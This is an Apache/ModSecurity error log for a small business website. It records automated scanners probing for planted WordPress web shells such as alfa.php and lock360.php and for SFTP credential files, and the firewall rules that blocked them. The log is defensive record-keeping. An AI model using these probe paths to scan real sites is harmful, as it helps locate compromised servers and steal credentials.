[Sun Nov 23 16:38:24.361870 2025] [:error] [pid 38739:tid 38774] [client 140.99.1.73:55273] [client 140.99.1.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aSLIAAdvEgJm2n2cDmoTSwAAAEU"]
[Sun Nov 23 16:38:24.694767 2025] [:error] [pid 38738:tid 38742] [client 140.99.1.65:43055] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php
[Sun Nov 23 16:38:24.931772 2025] [:error] [pid 38738:tid 38744] [client 140.99.1.65:43055] [client 140.99.1.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.65, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aSLIAAytc6TL9XavPmPkFQAAAAI"]
[Sun Nov 23 16:38:25.134775 2025] [:error] [pid 38738:tid 38757] [client 140.99.1.65:43055] [client 140.99.1.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aSLIAQytc6TL9XavPmPkGQAAAA8"]
[Sun Nov 23 16:38:27.090604 2025] [:error] [pid 38739:tid 38775] [client 140.99.1.31:52071] File does not exist: /usr/local/apache/htdocs/suspended-page/web.php
[Sun Nov 23 16:38:27.885561 2025] [:error] [pid 38739:tid 38790] [client 140.99.1.31:52071] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php
[Sun Nov 23 16:38:27.993848 2025] [:error] [pid 38739:tid 38788] [client 140.99.1.31:52071] [client 140.99.1.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aSLIAwdvEgJm2n2cDmoTfAAAAFM"]
[Sun Nov 23 16:38:28.231338 2025] [:error] [pid 14602:tid 14625] [client 140.99.1.20:61621] File does not exist: /usr/local/apache/htdocs/suspended-page/radio.php
[Sun Nov 23 16:38:28.604475 2025] [:error] [pid 14602:tid 14624] [client 140.99.1.20:61621] [client 140.99.1.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.20, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aSLIBB-I77jdD81pU-mB6gAAAUM"]
[Sun Nov 23 16:38:28.760247 2025] [:error] [pid 14602:tid 14625] [client 140.99.1.20:61621] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-conflg.php
[Sun Nov 23 16:38:28.913630 2025] [:error] [pid 14602:tid 14633] [client 140.99.1.20:61621] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-setup.php
[Sun Nov 23 16:38:29.071569 2025] [:error] [pid 14602:tid 14628] [client 140.99.1.20:61621] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-themes.php
[Sun Nov 23 16:38:29.361101 2025] [:error] [pid 14602:tid 14628] [client 140.99.1.20:61621] [client 140.99.1.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aSLIBR-I77jdD81pU-mB-gAAAUc"]
[Sun Nov 23 16:38:29.590992 2025] [:error] [pid 14602:tid 14639] [client 140.99.1.43:52711] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Sun Nov 23 16:38:29.732112 2025] [:error] [pid 14602:tid 14642] [client 140.99.1.43:52711] [client 140.99.1.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aSLIBR-I77jdD81pU-mCBAAAAVU"]
[Sun Nov 23 16:38:30.070636 2025] [:error] [pid 38824:tid 38849] [client 140.99.1.28:34665] File does not exist: /usr/local/apache/htdocs/suspended-page/x.php
[Sun Nov 23 16:38:30.254052 2025] [:error] [pid 38824:tid 38836] [client 140.99.1.28:34665] [client 140.99.1.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aSLIBk8WZjXLvbHTHPehAgAAAMk"]
[Sun Nov 23 16:38:30.949571 2025] [:error] [pid 44652:tid 44730] [client 140.99.1.28:27265] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-user.php
[Sun Nov 23 16:38:31.046261 2025] [:error] [pid 44652:tid 44713] [client 140.99.1.28:27265] [client 140.99.1.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aSLIB9iQFwsyXQDhwyCaOAAAAQc"]
[Sun Nov 23 16:38:31.310732 2025] [:error] [pid 38738:tid 38755] [client 140.99.1.33:36669] [client 140.99.1.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aSLIBwytc6TL9XavPmPkawAAAA0"]
[Sun Nov 23 16:38:31.525707 2025] [:error] [pid 38739:tid 38790] [client 140.99.1.50:46491] File does not exist: /usr/local/apache/htdocs/suspended-page/config.php
[Sun Nov 23 16:38:31.622634 2025] [:error] [pid 38739:tid 38774] [client 140.99.1.50:46491] File does not exist: /usr/local/apache/htdocs/suspended-page/special.php
[Sun Nov 23 16:38:32.228664 2025] [:error] [pid 38739:tid 38784] [client 140.99.1.50:46491] [client 140.99.1.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aSLICAdvEgJm2n2cDmoTzAAAAE8"]
[Sun Nov 23 16:38:32.516610 2025] [:error] [pid 44652:tid 44716] [client 140.99.1.20:41035] [client 140.99.1.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aSLICNiQFwsyXQDhwyCaYAAAAQo"]
[Sun Nov 23 16:38:33.157644 2025] [:error] [pid 38738:tid 38747] [client 140.99.1.5:35251] [client 140.99.1.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aSLICQytc6TL9XavPmPkkwAAAAU"]
[Sun Nov 23 16:38:33.373722 2025] [:error] [pid 38739:tid 38785] [client 140.99.1.70:33967] File does not exist: /usr/local/apache/htdocs/suspended-page/webdb.php
[Sun Nov 23 16:38:33.581898 2025] [:error] [pid 38739:tid 38783] [client 140.99.1.70:33967] [client 140.99.1.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/images/doc.php"] [unique_id "aSLICQdvEgJm2n2cDmoT9AAAAE4"]
[Sun Nov 23 16:38:33.911031 2025] [:error] [pid 38739:tid 38770] [client 140.99.1.14:21569] File does not exist: /usr/local/apache/htdocs/suspended-page/file2.php
[Sun Nov 23 16:38:34.012180 2025] [:error] [pid 38739:tid 38791] [client 140.99.1.14:21569] [client 140.99.1.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aSLICgdvEgJm2n2cDmoUCgAAAFY"]
[Sun Nov 23 16:38:34.780340 2025] [:error] [pid 14602:tid 14640] [client 140.99.1.5:23079] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Sun Nov 23 16:38:34.994703 2025] [:error] [pid 14602:tid 14626] [client 140.99.1.5:23079] [client 140.99.1.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/click.php"] [unique_id "aSLICh-I77jdD81pU-mCYAAAAUU"]
[Sun Nov 23 16:38:35.683204 2025] [:error] [pid 14602:tid 14641] [client 140.99.1.69:37129] [client 140.99.1.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aSLICx-I77jdD81pU-mCawAAAVQ"]
[Sun Nov 23 16:38:36.167361 2025] [:error] [pid 14602:tid 14642] [client 140.99.1.68:64615] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Sun Nov 23 16:38:36.500522 2025] [:error] [pid 14602:tid 14625] [client 140.99.1.68:64615] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links-opml.php
[Sun Nov 23 16:38:36.765538 2025] [:error] [pid 14602:tid 14642] [client 140.99.1.68:64615] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Sun Nov 23 16:38:36.862396 2025] [:error] [pid 14602:tid 14643] [client 140.99.1.68:64615] [client 140.99.1.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aSLIDB-I77jdD81pU-mCgQAAAVY"]
[Sun Nov 23 16:38:37.049677 2025] [:error] [pid 14602:tid 14635] [client 140.99.1.68:40807] [client 140.99.1.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aSLIDR-I77jdD81pU-mChQAAAU4"]
[Sun Nov 23 16:38:37.254349 2025] [:error] [pid 38824:tid 38847] [client 140.99.1.78:24073] [client 140.99.1.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aSLIDU8WZjXLvbHTHPehqAAAANQ"]
[Sun Nov 23 16:38:37.545001 2025] [:error] [pid 14602:tid 14642] [client 140.99.1.75:45777] [client 140.99.1.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aSLIDR-I77jdD81pU-mCjAAAAVU"]
[Sun Nov 23 16:38:37.752584 2025] [:error] [pid 44652:tid 44730] [client 140.99.1.63:40567] File does not exist: /usr/local/apache/htdocs/suspended-page/xp.php
[Sun Nov 23 16:38:37.868162 2025] [:error] [pid 44652:tid 44717] [client 140.99.1.63:40567] [client 140.99.1.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aSLIDdiQFwsyXQDhwyCa0gAAAQs"]
[Sun Nov 23 16:38:40.123633 2025] [:error] [pid 38738:tid 38749] [client 140.99.1.75:47219] [client 140.99.1.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aSLIEAytc6TL9XavPmPlNgAAAAc"]
[Sun Nov 23 16:38:40.368143 2025] [:error] [pid 14602:tid 14626] [client 140.99.1.44:38155] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links.php
[Sun Nov 23 16:38:40.655246 2025] [:error] [pid 14602:tid 14634] [client 140.99.1.44:38155] [client 140.99.1.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aSLIEB-I77jdD81pU-mCygAAAU0"]
[Sun Nov 23 16:38:40.910508 2025] [:error] [pid 38824:tid 38850] [client 140.99.1.63:41061] [client 140.99.1.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSLIEE8WZjXLvbHTHPeh3wAAANc"]
[Sun Nov 23 16:38:41.138115 2025] [:error] [pid 38739:tid 38772] [client 140.99.1.53:53115] [client 140.99.1.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aSLIEQdvEgJm2n2cDmoUpAAAAEM"]
[Sun Nov 23 16:38:41.430786 2025] [:error] [pid 38739:tid 38788] [client 140.99.1.20:29519] [client 140.99.1.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aSLIEQdvEgJm2n2cDmoUrAAAAFM"]
[Sun Nov 23 16:38:41.810017 2025] [:error] [pid 38824:tid 38842] [client 140.99.1.77:34273] [client 140.99.1.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aSLIEU8WZjXLvbHTHPeh6wAAAM8"]
[Sun Nov 23 16:38:46.609906 2025] [:error] [pid 38740:tid 38820] [client 140.99.1.67:24375] [client 140.99.1.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aSLIFg13QPZSi6O8umWA8QAAAJg"]
[Sun Nov 23 16:38:46.911780 2025] [:error] [pid 14602:tid 14645] [client 140.99.1.3:53215] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php
[Sun Nov 23 16:38:47.310963 2025] [:error] [pid 14602:tid 14640] [client 140.99.1.3:53215] File does not exist: /usr/local/apache/htdocs/suspended-page/webadmin.php
[Sun Nov 23 16:38:47.502797 2025] [:error] [pid 14602:tid 14636] [client 140.99.1.3:53215] [client 140.99.1.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aSLIFx-I77jdD81pU-mDQQAAAU8"]
[Sun Nov 23 16:38:48.413316 2025] [:error] [pid 38824:tid 38850] [client 140.99.1.46:41585] File does not exist: /usr/local/apache/htdocs/suspended-page/xl2023.php
[Sun Nov 23 16:38:48.509744 2025] [:error] [pid 38824:tid 38849] [client 140.99.1.46:41585] File does not exist: /usr/local/apache/htdocs/suspended-page/go.php
[Sun Nov 23 16:38:49.046092 2025] [:error] [pid 38824:tid 38849] [client 140.99.1.46:41585] [client 140.99.1.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aSLIGU8WZjXLvbHTHPeiYQAAANY"]
[Sun Nov 23 16:39:00.512952 2025] [:error] [pid 38738:tid 38761] [client 140.99.1.15:35589] [client 140.99.1.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/"] [unique_id "aSLIJAytc6TL9XavPmPmdgAAABM"]
[Sun Nov 23 16:39:07.243820 2025] [:error] [pid 38740:tid 38809] [client 140.99.1.18:50395] [client 140.99.1.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/controller/extension/extension/"] [unique_id "aSLIKw13QPZSi6O8umWC7gAAAI0"]
[Sun Nov 23 16:39:18.402155 2025] [:error] [pid 38738:tid 38766] [client 140.99.1.15:45497] [client 140.99.1.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/WordPressCore/"] [unique_id "aSLINgytc6TL9XavPmPn1AAAABg"]
[Sun Nov 23 16:43:48.614146 2025] [:error] [pid 44652:tid 44714] [client 188.166.221.180:50182] [client 188.166.221.180] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/sftp-config.json"] [unique_id "aSLJRNiQFwsyXQDhwyCwkQAAAQg"]
[Sun Nov 23 16:43:48.806115 2025] [:error] [pid 38740:tid 38798] [client 188.166.221.180:58765] [client 188.166.221.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aSLJRA13QPZSi6O8umWbKgAAAII"]
[Sun Nov 23 16:43:48.985050 2025] [:error] [pid 38738:tid 38761] [client 188.166.221.180:65286] [client 188.166.221.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.vscode/ftp-config.json"] [unique_id "aSLJRAytc6TL9XavPmP_yQAAABM"]
[Sun Nov 23 16:43:49.161484 2025] [:error] [pid 38824:tid 38832] [client 188.166.221.180:53227] [client 188.166.221.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.vscode/ftp-sync.json"] [unique_id "aSLJRU8WZjXLvbHTHPe4PwAAAMU"]
[Sun Nov 23 16:43:49.344069 2025] [:error] [pid 16066:tid 16092] [client 188.166.221.180:50457] [client 188.166.221.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.sftp-config.json"] [unique_id "aSLJRfq-c47Q5mW5E9FtowAAAZc"]
[Sun Nov 23 16:43:49.526069 2025] [:error] [pid 14602:tid 14633] [client 188.166.221.180:56729] [client 188.166.221.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ftp-sync.json"] [unique_id "aSLJRR-I77jdD81pU-mcLQAAAUw"]
[Sun Nov 23 16:43:49.707120 2025] [:error] [pid 38739:tid 38769] [client 188.166.221.180:54571] [client 188.166.221.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.ftp-sync.json"] [unique_id "aSLJRQdvEgJm2n2cDmotvgAAAEA"]
[Sun Nov 23 16:43:49.883653 2025] [:error] [pid 38740:tid 38819] [client 188.166.221.180:52985] [client 188.166.221.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ftp-config.json"] [unique_id "aSLJRQ13QPZSi6O8umWbRQAAAJc"]
[Sun Nov 23 16:43:50.068016 2025] [:error] [pid 38739:tid 38793] [client 188.166.221.180:62285] [client 188.166.221.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.ftp-config.json"] [unique_id "aSLJRgdvEgJm2n2cDmotywAAAFg"]
[Sun Nov 23 16:45:07.788922 2025] [:error] [pid 14602:tid 14634] [client 140.99.1.78:39779] File does not exist: /usr/local/apache/htdocs/suspended-page/manager.php
[Sun Nov 23 16:45:07.953394 2025] [:error] [pid 14602:tid 14629] [client 140.99.1.78:39779] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Sun Nov 23 16:45:08.082418 2025] [:error] [pid 14602:tid 14635] [client 140.99.1.78:39779] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Sun Nov 23 16:45:08.217453 2025] [:error] [pid 14602:tid 14636] [client 140.99.1.78:39779] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Sun Nov 23 16:45:08.339994 2025] [:error] [pid 14602:tid 14641] [client 140.99.1.78:39779] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Sun Nov 23 16:45:08.439360 2025] [:error] [pid 14602:tid 14623] [client 140.99.1.78:39779] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Sun Nov 23 16:45:08.543748 2025] [:error] [pid 14602:tid 14644] [client 140.99.1.78:39779] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Sun Nov 23 16:45:08.643517 2025] [:error] [pid 14602:tid 14629] [client 140.99.1.78:39779] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sun Nov 23 16:45:08.942130 2025] [:error] [pid 14602:tid 14642] [client 140.99.1.78:39779] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
